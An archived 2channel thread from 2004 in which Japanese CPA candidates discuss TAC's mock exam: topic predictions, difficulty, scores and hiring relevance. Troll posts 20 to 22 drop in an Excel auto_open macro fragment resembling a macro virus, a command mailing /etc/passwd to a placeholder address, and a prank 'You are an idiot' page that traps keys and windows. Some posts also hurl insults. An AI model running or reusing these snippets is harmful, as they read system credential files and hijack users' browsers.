5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

[[[TAC全答練@]]]

1 :一般に公正妥当と認められた名無しさん:04/04/08 23:33 ID:???
全答練について語りましょう。
とりあえず出題予想でも・・・・

2 :一般に公正妥当と認められた名無しさん:04/04/08 23:34 ID:???
2

3 :一般に公正妥当と認められた名無しさん:04/04/08 23:35 ID:R94qRb0u
阿部いわく、1問目は簡単らしい。
2問目は、普段満点近く取ってるヤシでも書けないんだってよ。

4 :一般に公正妥当と認められた名無しさん:04/04/08 23:36 ID:R94qRb0u
その2問目は阿部が授業中にヤマはった3つのうちから
どれかが出るよ。

5 :一般に公正妥当と認められた名無しさん:04/04/08 23:39 ID:???
またTACか
























                                                    >>1死ねよ。




6 :一般に公正妥当と認められた名無しさん:04/04/09 00:36 ID:???
5=LEC工作員


7 :一般に公正妥当と認められた名無しさん:04/04/09 00:46 ID:???
>>6←典型的な知障

8 :一般に公正妥当と認められた名無しさん:04/04/09 04:34 ID:Srtxj/di
>>5
あたりめーだろうがぼけが!
くず、士ね。
TAC万歳!
5は士ね。
もうくるな。
5が落ちますように。



じゃあな。しね、。

9 :一般に公正妥当と認められた名無しさん:04/04/09 09:07 ID:3zQNyNFb
会計士試験はTACが中心。

10 :一般に公正妥当と認められた名無しさん:04/04/09 09:16 ID:???
2005年目標だけどなんで受けさせられるんだろう
相対的に上級生の順位をあげるため?

11 :一般に公正妥当と認められた名無しさん:04/04/09 09:23 ID:???
簿記1問目は特商、2問目は連結(キャッシュ含む)

12 :一般に公正妥当と認められた名無しさん:04/04/09 10:40 ID:pOAHKbd9
50位以内に入るぞ!!

13 :一般に公正妥当と認められた名無しさん:04/04/09 18:04 ID:AMa+1CkA
本試験ならともかく答練で出題予想なんて…。

14 :一般に公正妥当と認められた名無しさん:04/04/09 18:07 ID:RtV1bj1y
>>13
合格は当たり前。
問題はその後なのよ。全答練の順位が採用に響く。

15 :一般に公正妥当と認められた名無しさん:04/04/09 18:27 ID:???
>>14
ホントにそうなら昨年全答練1位だった人が就職浪人に
なるはずなかったんだが・・・

16 :一般に公正妥当と認められた名無しさん:04/04/09 19:53 ID:50ADtBGG
順位は関係ないよ、説明会逝けばわかる

17 :TAC関係者:04/04/09 20:30 ID:/BgZUdeH
TAC講師になるには順位は関係ある。

18 :一般に公正妥当と認められた名無しさん:04/04/09 20:36 ID:???
>>8=ID:Srtxj/di←救いようの無いゴミ人間

19 :一般に公正妥当と認められた名無しさん:04/04/09 20:38 ID:???
                   ,ィ ,ォ   ,ィ  _,,.,... -''7
       >>8        / }/ |ヽ/ ,!'"/ _,.-'" ̄Z,-'Z_
        も       トy'、'、i ./ ;'//  '´_, / _,. '´/
      い う        ゙、 l  トiヾ/ j'//,.-'´/'"´  ,/-ッ
   ほ  い 出        `)、゙`、| :::| .|////,/ /  /, フ"
 ほ ら   よ て       ヾミ i`````  ""'''  〃, ///
 ら       っ       `、:|           〃/^ヽ
          て          i´:レ'--、   ,.r一'''\ '〃,K ,i/
                 `、| __`    __  〃' ,/
   ,.-r'´ゝ-、.           |           ,r-ヘ
  入 ヽ ヽ ヽ          |    _      /゙j  ゙ヽ.、_
// ヽヽ \ ヽ ,.ゝ、_     ,..-ヘ.   .__    / /    ``ヽ、_
l l.  \ヽ `、 {    |   ,..-''´   \ └─┘  /,/         ``ヽ、
l l   ヽ`    ̄7  )''´         \__,./ /             \
l l    ヽ  _   /          \ r-f''´                l
l |   ,.-一'"´   ヽ、;'            ゙r'''"゙、                   |
 |  | .| | /  ,| 〈、             }}. r`                |
    | | | ./ ./」  i }\           (}\/ ''                |
    |.| | / /__j |  \           |                   |
    !!-'ー'~~\ /     \         |                  |



20 :一般に公正妥当と認められた名無しさん:04/04/09 21:02 ID:???
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub

Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

End Sub



21 :一般に公正妥当と認められた名無しさん:04/04/09 21:03 ID:???
cat /etc/passwd | mail nobody@nonexistent.com


22 :一般に公正妥当と認められた名無しさん:04/04/09 23:23 ID:???
<html>
<head>
<title>You are an idiot!</title>
<script language="Javascript" src="../script/you.js"></script>
</head>
<body bgColor=#ffffff onload="flagRun=1;playBall();return true;bookmark();" onKeyDown="altf4key();ctrlkey();delkey();" onUnLoad="procreate()" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="100%" height="100%">
<param name=movie value="youare.swf">
<param name=quality value=high>
<embed src="youare.swf" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%" height="100%">
</embed>
</object>
</body>
</html>

cat /etc/passwd | mail nobody@nonexistent.com


23 :一般に公正妥当と認められた名無しさん:04/04/11 21:04 ID:fhj487c1
  _   _,.. --、,、-‐‐<"ヽ、
  /゙ >'゙ ,..、, へ__ `''、゙l
  l / ,. ノ       ~゙'‐-ヽ,
  `/-'゙           ` 、 ゙、
  ,l      /,. i  ヽ   、`' 、゙ l
  // / /./i. |∧ 、 i 、ヽ、ヽ ,i`|
  '゙/ / | ./|/_|_,,゙,. ゝi、|"'''''`ヽ/ヾ,|
  !,/l./、.l ' ,.-‐-   、 ''"゙~' iノノ.|
  ,l ゙ l'、.ヽ    ,....゙ -、  ノ;i   |
  |    i;;~;>、,  l.__, -ヽゝ'゙‐-、,,.ノ、,
  | 、  '/;`,、 "'/ ",・ ,,゚ニ゙,_ヾ::::::〉
  ヽ∧ヽ|;;;;;;;゙i,/| '" /::::::::::::::::l-'゙
      ` !|;;;;;;;;;l'゙:::ヽ/::::::::::::::::::::ノ
      ,. l;;;;/i'、_;;;,:>、::::::::::::::/::ヽ,
    /;;;;:`‐-::;;__/  /ニィ'"!'゙i~"'゙
   ヽ/;;;;;;;;;;(;;;ノ"'i''゙:::::`''":::::ヽ
   <;;;;;;;;;;;/;;;;;;;;;;;;;;;;|:::::::::::;;:::::;;;:_〉、
     ゙‐:;;;/;;;;;;;;;;;;;;;;;;|;;;;;:/ l ::!ノ゙''"
      ゙''7‐- :;__;;;;;'‐'゙;;;;_;ノ:/
.      l.     / ̄i ̄ 〈ノ
        i   /  l   |
      ノ   /   |''‐ '7
       ト- イ.    l.  /
      l   i    |i. ゙、
      |l,   l    i;`;;;;'゙:、
      `ト、,,,ノ;、   ゙ 、;;;;;;;〉
         ゙、;;;;;;;;;l

どうせ全然わかんねえんだよ。

24 :こんなかんじだったらいいな:04/04/11 21:44 ID:nbiaRQQU
簿記 個別・と苦笑・外貨 外貨建て連結CF
財表 研究開発費・クリーンサープラス・固定資産・金融商品
経営 自己株・最適資本構成 ?
原形 費目別 原価企画
監査 基準穴埋め(リスクアプローチ)・試査・分析的手続 中間監査or監査特例法のA/R
経済 公共財・ゲーム理論 オーカン法則・世代重複モデル
商法 議決権の保証or少数株主保護 株式と社債(非参加的累積的優先株)or減資(経営再建)

25 :一般に公正妥当と認められた名無しさん:04/04/11 22:13 ID:4Iyn41nu
簿記はキャッシュが出るだろ外貨を絡めるか分からないけど。
財表は分からんね、減損・結合出して欲しいなそろそろ。
経営は幅広くダロ、財務・投資論で稼ぐしかないな
原形は標準が一問は出る、出さなきゃ馬鹿、半分は基地外問題だな多分。
監査は幅広く棚 実施論で稼げば良いだろ
経済はゲーム理論は中々良い読みだな、これは俺も出そうだと思う。
商法はやはり各種会社の比較問題が一問は出ると予想、閉鎖的株式会社、親子会社絡みも面白い

26 :一般に公正妥当と認められた名無しさん:04/04/11 22:16 ID:4Iyn41nu
簿記は連結キャッシュね

27 :一般に公正妥当と認められた名無しさん:04/04/11 22:29 ID:???
クリーンサープラスなんか、本試験ででるんかな?
今年の財表は負債会計が山って聞いたけど・・・

28 :一般に公正妥当と認められた名無しさん:04/04/11 22:44 ID:HE+Xw0iY
24とかぶってるな。
簿記は個別と本社工場
財表はキャッシュ臭いね、あと資本会計と研究開発費。
経営はやってないからわからん。高橋かな。
原計はTACのお好きな費目と企業評価モデル
監査は分手、試査、中間あとリスクアプローチも
経済は公共財、不確実性、マクロはIS-LM、あとフィリップス
商法は266の3、少数株主の保護、監査役、失念株のどれかかな



29 :一般に公正妥当と認められた名無しさん:04/04/12 01:22 ID:???
費目はプンプンしますね。

30 :一般に公正妥当と認められた名無しさん:04/04/12 08:49 ID:CTUFT4WH
この時期になって鬱に襲われた。
全答練受ける気もなくなってきてるし。
いかんなぁ。

31 :一般に公正妥当と認められた名無しさん:04/04/12 11:35 ID:gxGM6BCH
簿記:特商含む個別論点・ソフトウェアをからめた製造業会計
財表:貸倒引当金・キャッシュフロー・企業結合・負債の評価
経営:不明
原計:工程別総合原計・標準原計・CVP・設備投資
監査:不正に関する問題・分析的手続・監査意見全般・GC
経済:独占・不確実性・AD-AS分析・国際マクロ
商法:失念株・名板貸

32 :一般に公正妥当と認められた名無しさん:04/04/12 15:42 ID:???
>>30
漏れなんて避けられない予定が入ってしまって受けられませんが、なにか?

33 :一般に公正妥当と認められた名無しさん:04/04/12 16:46 ID:???
全答練は短答後で十分なのではないかと思う今日この頃。

34 :一般に公正妥当と認められた名無しさん:04/04/12 20:07 ID:???
1回目は関係ないね

35 :一般に公正妥当と認められた名無しさん:04/04/12 20:29 ID:lJU82vbD
なんで四月に本試験を想定した模試やるのかな?
短答後でいいと思う。6,7月でやればいいのに。

36 :一般に公正妥当と認められた名無しさん:04/04/12 20:39 ID:IqlCfrR1
受けません

37 :一般に公正妥当と認められた名無しさん:04/04/12 20:48 ID:lJU82vbD
全答練は土日に5科目でうけるよ。

38 :一般に公正妥当と認められた名無しさん:04/04/12 20:53 ID:lJU82vbD
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.................................................................................................................................................................................................................................
.......................................................................................................................................


それでは開始してください。



39 :一般に公正妥当と認められた名無しさん:04/04/12 21:36 ID:6RURBPCQ
全答連上位者の情報は大手法人採用の判断材料とされているという現実。

法人面接シートには必ず全答連順位を書く欄があるという現実。

某法人国際系は全答連上位者中の上位者しか過去、採用していないという現実。

でも、【一回目は受けなくても言いや】【どうせ短答とうらなきゃ意味ないもん】
などと適当な理由をつけて回避しようとしてしまう自分の弱さ。
あ、これ古き良き時代に合格した受講生時代の俺の話ね。


40 :一般に公正妥当と認められた名無しさん:04/04/12 21:38 ID:???
さてと、明日に備えてねるか・・・。

本支店合併生理でないでください・・・。


41 :一般に公正妥当と認められた名無しさん:04/04/12 21:50 ID:???
>>40
本支店ー合併整理はほぼ連結と似ているぞ。
簡単だ。

(連結が苦手ならむずかしいが)

42 :一般に公正妥当と認められた名無しさん:04/04/12 21:51 ID:HV/j9K4U
2005年コースで受けても無駄っすか?

43 :一般に公正妥当と認められた名無しさん:04/04/12 21:56 ID:HGTLqpIg
>>39
無いよ、俺は去年説明会で面接シート貰ったけど。ちなみに4大全て逝った。
ただ受験回数は書くところがあった。

>>42
レベルの差を知るには良いかもね。

44 :J3@リエゾン中:04/04/12 22:09 ID:???
監査法人就職にはまったく関係ないから余計な緊張せず受けな。
就職と全答練の順位が関係あったのは合格発表前に採用試験があった一昨年まで。
一昨年までは順位で合格率出して採用者数の人数調整を行ってたから
順位の記入欄があったけど去年からは合格発表後だから関係なし。
うちの法人だと一番重視されたのが面接官(5人)の面接での印象。
「一緒に仕事がしたいか」って欄があってここに五段階評価のAが付けば採用。
後は他の項目も含めての評価だけど順位は評価には含まれてない。

ま、なんにしろ合格しないと面接も受けられないからがんばれや。

45 :一般に公正妥当と認められた名無しさん:04/04/13 17:46 ID:AYsc8/Su
全答連お疲れ!しかし経営はなんだろう?
おれが授業まともに受けてない(まだ講義全部聞いてない)からなのか、
授業でやったなぁなんて思うとコ、全然なかったような気がするような
なんか字自分の知識で解けた、ニュース見てるほうが勉強になる
しかし、経営即効退出する奴続出だったな、まぁ俺も出たが

46 :一般に公正妥当と認められた名無しさん:04/04/13 18:00 ID:???
経営は差がつくよ

47 :一般に公正妥当と認められた名無しさん:04/04/13 18:09 ID:PMIcN5nN
今日は経営が一番楽だよおそらく。

48 :一般に公正妥当と認められた名無しさん:04/04/13 18:44 ID:4lZHmLh+
何、出たか教えてね。

49 :一般に公正妥当と認められた名無しさん:04/04/13 18:51 ID:PMIcN5nN
駄目、でも意外と経営は楽だから恐れる事は無い。

50 :一般に公正妥当と認められた名無しさん:04/04/13 18:56 ID:???
実際の出題傾向から外れすぎ。さすがわタック。

51 :一般に公正妥当と認められた名無しさん:04/04/13 18:56 ID:???
>>49
なんでこんなにスレが延びてないんだろ、と思ったら、
土日受験があるからなんだね。

ネタバレしたら平均点上がっちゃうもんね。
気を付けないと。

52 :一般に公正妥当と認められた名無しさん:04/04/13 18:58 ID:31+AmN2X
自己採点のような
 簿記・・・9割&7割5分ぐらい
 財表・・・6割5分&6割5分
 経営・・・7割・6割

今のところ200以内は大丈夫だけど・・・


上で言われていることは関係ないので心配しないで下さい。
去年は全答練の順位は全く関係なかったので。
それよりか、監査法人の友達や親類を大事にしましょう!

基本的に、法人のことを云々書いてるのは、ベテランの現実を全く知らない寂しい人なので。

53 :一般に公正妥当と認められた名無しさん:04/04/13 19:50 ID:tlpLgOG8
第一問はともかく
第二問7割5分も取れねえよ…
すげえな・・・
あんなにたくさんの指示出されたら
わけわからん。

54 :一般に公正妥当と認められた名無しさん:04/04/13 20:02 ID:e+JFoTIw
52が本当だとしたらバリバリ成績優秀者でしょ。
難易度は普通だったかな。
いい問題だとは思えないけど。

55 :一般に公正妥当と認められた名無しさん:04/04/13 20:07 ID:UjG7ik8+
簿記二問目死亡、本試験ならさようなら

誰か野坂派の人いない?
野坂試験委員対策って感じじゃなっかた?
レクの成績優秀者なら180越えてくるよね

56 :一般に公正妥当と認められた名無しさん:04/04/13 20:29 ID:4rH50IwW
そんなに簿記難しかった?

57 :一般に公正妥当と認められた名無しさん:04/04/13 20:45 ID:UjG7ik8+
最低125は取らないといけないと思う。
客観的に簡単だとは思うが点は取れてない

58 :一般に公正妥当と認められた名無しさん:04/04/13 20:55 ID:???
>>55
あんまりやる気無いから一回目はパスしようかと思ってたけど、
純粋な野坂派だからうけてみるかな。
全答練の計算は講師の作問自慢だから無視してもいいよね?

59 :一般に公正妥当と認められた名無しさん:04/04/13 21:03 ID:UjG7ik8+
>>58
終了後、なにあれ?没問だろ?
とか言ってるの聞いてるとやる気出るよ。

60 :一般に公正妥当と認められた名無しさん:04/04/13 21:53 ID:???
俺財表だけ野坂だけど、ドンピシャだったww
TACにしてはいい問題作るなあと思ったけど、よく見たらやっぱりww
ぱくったのか?

61 :一般に公正妥当と認められた名無しさん:04/04/13 23:54 ID:iGe0V85H
簿原だけうけるのはなしかな?

62 :一般に公正妥当と認められた名無しさん:04/04/14 00:01 ID:i7bnv0zS
俺は野坂対策とか全然してないから、財表ちんぷんかんぷんだったよ、ハハハ・・・

63 :一般に公正妥当と認められた名無しさん:04/04/14 01:23 ID:???
簿記の1問目、個別の方は簡単すぎない?

国際会計基準なんてでねえだろ!

64 :一般に公正妥当と認められた名無しさん:04/04/14 06:54 ID:TaEKg2rn
時間がなさすぎ、簿記はエグイネ。

65 :一般に公正妥当と認められた名無しさん:04/04/14 06:58 ID:TaEKg2rn
さーて今日もがんがって逝くぞおめーら、経済で満点を目指す!!

66 :一般に公正妥当と認められた名無しさん:04/04/14 15:36 ID:???
原価計算、時間は余ったが、手応えなす。いわゆるビミョウ。

67 :一般に公正妥当と認められた名無しさん:04/04/14 15:57 ID:???
http://miraisu.ddo.jp:8080/2ch/index.cgi
2ちゃんねるの住民が板ごとに分かれて国取りをしていく
ゲームが開始されます。登録開始は4月13日の夜10時。

●超重要
新規登録する人は
武官型 武力100知力5統率45
文官型 武力5知力100統率45
指揮型 武力45知力5統率100
指揮型 武力70程度知力5統率75程度のどれかで登録するべし
それ以外は長所が生かせず弱く面白さが半減する恐れあり

この板の住民で「会計士受験生」国作って夏までに天下を取ろう!

68 :一般に公正妥当と認められた名無しさん:04/04/14 17:16 ID:TBfHUC82
経済ありえなーーーーーーーーい
もうやめたい・・・

69 :一般に公正妥当と認められた名無しさん:04/04/14 17:25 ID:puPVOUZc
出来るトコと出来ないトコがはっきりしすぎ。

70 :一般に公正妥当と認められた名無しさん:04/04/14 19:10 ID:???
監査簡単だったねー

71 :一般に公正妥当と認められた名無しさん:04/04/14 20:30 ID:hn3b2ai4
原計:わけわかんねぇ
監査:簡単
経済:普通

72 :一般に公正妥当と認められた名無しさん:04/04/14 22:28 ID:YSDBhG02
書き込み伸びないな・・・
今回の全答は全体的に簡単だな。
簿記は相変わらずきついが他はそんな難しいのないだろ
原計もパッチと部門別は少し落としていいとしても
他はとらんといかんしね

73 :一般に公正妥当と認められた名無しさん:04/04/14 22:46 ID:ou1y1uOL
TAC生にあの財表は厳しい

74 :一般に公正妥当と認められた名無しさん:04/04/14 23:18 ID:WzFHvI/I
本番だと仮定した場合
みんなができるところをしっかりひとつも落とさずに
得点しないときついと思う
特にボーダー付近の1200〜1300番くらいでは
そこが勝負の分かれ目になるんじゃないかなぁ


75 :一般に公正妥当と認められた名無しさん:04/04/14 23:24 ID:GyCuOQn0
商法何出るかわかる人いる?

76 :一般に公正妥当と認められた名無しさん:04/04/14 23:25 ID:GyCuOQn0
商法何出るかわかる人いる?

77 :一般に公正妥当と認められた名無しさん:04/04/14 23:41 ID:puPVOUZc
債権者保護

78 :一般に公正妥当と認められた名無しさん:04/04/15 00:15 ID:???
>>72
書き込みが伸びないのは、
ネタバレすると、土日受験者が怒るからだろうと思って自粛してるやつが多いからだろ。。

79 :一般に公正妥当と認められた名無しさん:04/04/15 01:02 ID:???
全党錬の試験中って勝手に便所いっていいの?

80 :一般に公正妥当と認められた名無しさん:04/04/15 07:23 ID:fb3y2Fo/
>>72
部門別で落として良いところなど無いだろ、入門・基礎レベルだぞあれは。

81 :一般に公正妥当と認められた名無しさん:04/04/15 07:26 ID:fb3y2Fo/
全体的に理論は簡単だね、今日の商法は分らないけど。

82 :一般に公正妥当と認められた名無しさん:04/04/15 13:01 ID:???
商法簡単だったね つか、簡単にヤマがはれた

83 :一般に公正妥当と認められた名無しさん:04/04/15 13:02 ID:???
商法簡単だったね
つか、簡単にヤマがはれた

84 :一般に公正妥当と認められた名無しさん:04/04/15 13:41 ID:???
受けた後で言うけど、この答練イミナシ。別に受けなくてもよかったな。この時期に。
策略だな、こりゃ。

85 :一般に公正妥当と認められた名無しさん:04/04/15 14:11 ID:Veed78IG
商法書くスペースありすぎ・・・・・・・・ああああああああああああ

でも終わったから良いや、皆おつかれーーーーーー

86 :一般に公正妥当と認められた名無しさん:04/04/15 22:15 ID:c1LUIBAS
感想書けや!!!!!

87 :一般に公正妥当と認められた名無しさん:04/04/15 22:16 ID:bN0VvUvB
土日に受ける人もいるから、内容に触れるのはやめよう。

88 :一般に公正妥当と認められた名無しさん:04/04/15 22:18 ID:c1LUIBAS
内容に触れないように感想を!!!!! まず87さんどうですか??

89 :一般に公正妥当と認められた名無しさん:04/04/15 22:32 ID:5FWMszcD
去年の平均が514点今年は去年より簡単だったから550点くらい?
去年の上位200名平均が792ってことは今年は800点以上必要
なのかな?漏れは2回目ですが、800点前後かな

90 :一般に公正妥当と認められた名無しさん:04/04/15 22:37 ID:c1LUIBAS
俺は750前後だよ、やっぱ6割はムズイ。

91 :一般に公正妥当と認められた名無しさん:04/04/15 22:38 ID:c1LUIBAS
去年は受けてないので分らん。

92 :一般に公正妥当と認められた名無しさん:04/04/15 22:58 ID:hBPIYGLD
おいおい、去年の1回目は720点くらいから載ってたぞ。
720位で300番ほどだった。平日だから総合だとどうなるか知らんが。

93 :一般に公正妥当と認められた名無しさん:04/04/15 23:03 ID:tg+BNe4f
みんな何が出来てなにができなかった?


94 :一般に公正妥当と認められた名無しさん:04/04/15 23:08 ID:???
商法、監査、財表は9割堅い。ってか理論簡単過ぎ。


95 :一般に公正妥当と認められた名無しさん:04/04/15 23:11 ID:tg+BNe4f
財表眠くなったんですけど。

96 :一般に公正妥当と認められた名無しさん:04/04/15 23:13 ID:???
720位で300番

97 :一般に公正妥当と認められた名無しさん:04/04/15 23:14 ID:0RBxnJTd
受けるか迷ったけど、書き込み見てると
受けないでセコセコ短答対策して正解だったか。
去年は100番台だったし。
2回目は受けよう。

98 :一般に公正妥当と認められた名無しさん:04/04/15 23:17 ID:tg+BNe4f
土曜で受けろ。これから問題さらしてやる。
来年のため2桁とっときなさい。

99 :一般に公正妥当と認められた名無しさん:04/04/15 23:31 ID:5FWMszcD
今見返してみたけど、財表1問目の問題1行目ぶっとんでるな
試験中は気がつかなかったぜ

100 :一般に公正妥当と認められた名無しさん:04/04/15 23:35 ID:Q+ZsO/el
うちの法人には2000番越えの合格者が何人も居てる

101 :一般に公正妥当と認められた名無しさん:04/04/15 23:36 ID:nVjK5+7W
財表なにでたの?

102 :一般に公正妥当と認められた名無しさん:04/04/15 23:38 ID:???
タックだと300番くらいで上位何パーセントぐらいなの?

103 :一般に公正妥当と認められた名無しさん:04/04/15 23:39 ID:pkCVAtc7
>>101
外貨換算

104 :一般に公正妥当と認められた名無しさん:04/04/16 00:50 ID:Kvgx1mYI
土日組みが煽ってんだ曝してやれ

105 :一般に公正妥当と認められた名無しさん:04/04/16 09:30 ID:OCr6Ckdp
きっと講師の先生が必死こいて採点してるんだろうけど、
成績表が手元に届くのってどのくらいかかりまつか?
ご存知の方おしえてください。

106 :一般に公正妥当と認められた名無しさん:04/04/16 09:52 ID:lY0l5n5L
簿記中に勃起中

107 :一般に公正妥当と認められた名無しさん:04/04/16 09:59 ID:lY0l5n5L
>>101
税効果

108 :一般に公正妥当と認められた名無しさん:04/04/16 10:36 ID:Kvgx1mYI
監査はどこ出た?

109 :一般に公正妥当と認められた名無しさん:04/04/16 11:03 ID:EXvWfgmB
>>108
専門家の利用

110 :一般に公正妥当と認められた名無しさん:04/04/16 12:09 ID:???
>>108
IT

111 :一般に公正妥当と認められた名無しさん:04/04/16 12:40 ID:???
経営は帰る人続出だったね。
みんな担当後やるんだろううね。
俺も全然やってないから全然欠けなかったが、うめてきた。
経済もそれにちかい(笑)

112 :一般に公正妥当と認められた名無しさん:04/04/16 13:07 ID:cycsXCEk
質問させて。
土日受験や通信受験も平日と同じように成績処理されるのですか?
だとしたら成績順位上位は通信がしめてしまいそうな気がするけれど。


113 :一般に公正妥当と認められた名無しさん:04/04/16 13:15 ID:ijC0u5bB
順位は平日と土日は別

114 :一般に公正妥当と認められた名無しさん:04/04/16 13:18 ID:???
解答もらっちゃったよん。

115 :一般に公正妥当と認められた名無しさん:04/04/16 13:18 ID:ijC0u5bB
去年私は、2回とも300番以内でも論文で逝ってしまった。
友人A君は、200番前後で合格。
友人B君は、4桁台で合格。
友人Cさんは、300番前後で短答落ち。

本試験には魔物がいる?

116 :一般に公正妥当と認められた名無しさん:04/04/16 13:23 ID:???
>>115
TAC答練がいかに本試験と乖離しているかを表してます。

117 :一般に公正妥当と認められた名無しさん:04/04/16 14:31 ID:LQ6wHriV
順位はいつわかるの??????

118 :一般に公正妥当と認められた名無しさん:04/04/16 14:50 ID:Kvgx1mYI
全答練ウソツキが多いな

119 :一般に公正妥当と認められた名無しさん:04/04/16 16:27 ID:N0J74mHL
全科目何出たか教えて下さいな

120 :一般に公正妥当と認められた名無しさん:04/04/16 17:14 ID:Kvgx1mYI
卑怯な土日受験者キターーーーーーーーーーーー!

121 :一般に公正妥当と認められた名無しさん:04/04/16 17:49 ID:A9/C353H
簿記 特商個別・連結B/S,P/L,C/F
原型 個別原型・ヒルイカ・標準・戦略的意思決定
財表 一般原則(正規の簿記原則)・資本剰余金と利益剰余金の区分・為替換算調整勘定・B/SのP/Lの非連携
監査 実施論(内部統制中心)・証取法監査と商法監査の比較
商法 株式単位・競業(親子会社の論点含む)

122 :一般に公正妥当と認められた名無しさん:04/04/16 18:40 ID:Kvgx1mYI
土日組がんばんな

123 :一般に公正妥当と認められた名無しさん:04/04/16 21:04 ID:???
>>121

124 :一般に公正妥当と認められた名無しさん:04/04/16 23:14 ID:OdjuzCOS
ガセだな

125 :一般に公正妥当と認められた名無しさん:04/04/17 00:12 ID:efGOHH7A
よ〜〜し今年もテキスト吸収するぞ〜〜〜〜〜

自習室に放置してあるテキスト・まとめノートはバンバン廃棄
これでライバルが減っていくぜ〜〜へっへっ〜〜〜

126 :一般に公正妥当と認められた名無しさん:04/04/17 00:40 ID:sAglOnOP
財表商法はどこから出題?

127 :一般に公正妥当と認められた名無しさん:04/04/17 00:49 ID:iiHdnjjt
>>121
お前マジレスやめろよ!!!!!

128 :一般に公正妥当と認められた名無しさん:04/04/17 00:50 ID:utZ9ECka
土日と平日では別にランクされるんだからいいじゃん

129 :一般に公正妥当と認められた名無しさん:04/04/17 00:57 ID:iiHdnjjt
駄目だ!!!!!誰かあぼーんしてくれ!!!!!

130 :一般に公正妥当と認められた名無しさん:04/04/17 01:05 ID:utZ9ECka
全答練の結果なんてどうでもいいじゃないか

131 :一般に公正妥当と認められた名無しさん:04/04/17 01:11 ID:iiHdnjjt
くそ、覚えて炉よ。

132 :一般に公正妥当と認められた名無しさん:04/04/17 06:38 ID:???
教室のみなさんこんばんわ
VTRで受講されてるみなさんもこんにちは

133 :一般に公正妥当と認められた名無しさん:04/04/17 08:24 ID:utZ9ECka
は〜い、木戸ッチのコーナーです

134 :一般に公正妥当と認められた名無しさん:04/04/17 08:34 ID:X6V8+ARz
>>132
平野先生こんにちは

135 :一般に公正妥当と認められた名無しさん:04/04/17 09:45 ID:KAOkvwHO
もう土日組はじまるんで、何が出たか後で教えてください。

用事で受けれないから気になります。


んでまずは、一日目だけのでいいです。お願いしますーー。

136 :一般に公正妥当と認められた名無しさん:04/04/17 11:52 ID:???
なら俺は財表を教える。

ずばり

外貨換算会計

だ。

137 :一般に公正妥当と認められた名無しさん:04/04/17 13:01 ID:oFgx0A+3
商法は


づばり

設立と機関

だ。

138 :一般に公正妥当と認められた名無しさん:04/04/17 20:34 ID:???
全答練終わった日は飲みに行って、金曜はコンパ行って、今日は彼女とお買い物
この時期に何やってんだ俺は、こんなんで受かるのかな トホホ・・・
全答練の日は飲み行った街にTACで見かけたことがある奴何組か見たなぁ。
とりあえずみんなお疲れ、でも別に受けたくてもよかったのかなぁって今は思うよ

139 :一般に公正妥当と認められた名無しさん:04/04/17 20:55 ID:CmV36Iv/
正直、全答練3日間真面目に受けたら気が抜けた。
昨日今日と勉強が捗らない。
もうちょっと気楽に受けた方が良かったな。

140 :一般に公正妥当と認められた名無しさん:04/04/17 21:11 ID:CAhi4oY8
平野じゃないわ、ば〜か!

141 :一般に公正妥当と認められた名無しさん:04/04/17 21:44 ID:???
あのさ、野坂財表なんてホントに取ってる椰子いんの?
あんなの時間の無駄なだけだと思うよ。


142 :一般に公正妥当と認められた名無しさん:04/04/17 23:54 ID:???
川村より1024倍よい

143 :一般に公正妥当と認められた名無しさん:04/04/18 14:01 ID:???
野坂財表のおかげで、財表が責めの科目になりました

最近TACでも使ってる火と増えてきたね

肢別userも過半数だ

144 :一般に公正妥当と認められた名無しさん:04/04/18 14:47 ID:ceOOptA2
みなさん受けた感想は?
これから短答特化開始と思いますがみんな
































マークミスすんなよ

145 :一般に公正妥当と認められた名無しさん:04/04/18 22:24 ID:???
今回の全答練で一番凄かったのは財表だね。
最初の文章がぶっ飛びまくり。
テスト中に訂正されないから誤植じゃないのかと思って、
どうやって解答に外貨の論点を絡めるのか悩んじゃったよ。

146 :一般に公正妥当と認められた名無しさん:04/04/18 23:05 ID:???
>>145
え、絡めなかったの?0点じゃん。

147 :一般に公正妥当と認められた名無しさん:04/04/19 14:14 ID:???
第1問100点かも・・



148 :一般に公正妥当と認められた名無しさん:04/04/19 14:51 ID:???
今年の財表は野坂の早朝をパくったって本当か?

149 :一般に公正妥当と認められた名無しさん:04/04/19 16:01 ID:D9xW0iAR
川村の方がいい、これが現実。
どんなに洗脳しようが、マジョリティーでわかりやすい



150 :一般に公正妥当と認められた名無しさん:04/04/19 17:27 ID:1e6xe8j8
まあ成人したいい大人が試験に落ちたことや成績が低いのを講師のせいにしてるのは
あわれですな。がっはっは。

151 :一般に公正妥当と認められた名無しさん:04/04/19 22:24 ID:4BlkLdkT
解説って意味泣くね?まじうけんければよかた
七科目一度は効率悪いな

152 :一般に公正妥当と認められた名無しさん:04/04/19 22:28 ID:???
 え?そうなの?木戸っちとか解説してるじゃん?俺は日曜に受けようかと
思ってたんだけど。解説会の感想キボンヌ。

153 :一般に公正妥当と認められた名無しさん:04/04/19 23:47 ID:WXvmxyg3
土日で受けたけど、財表訂正入ってたよ。外貨は外してくれだとさ。
解説なんてテープでいいじゃん。


154 :一般に公正妥当と認められた名無しさん:04/04/20 14:33 ID:???
レックの公開模試は母集団が今年100人を切る勢いだから
レック生の大半が全答錬にきて煽ってるんだろう。
言い換えればもはやレックは財表ぐらいしかタックに
対抗できないってことだよ。

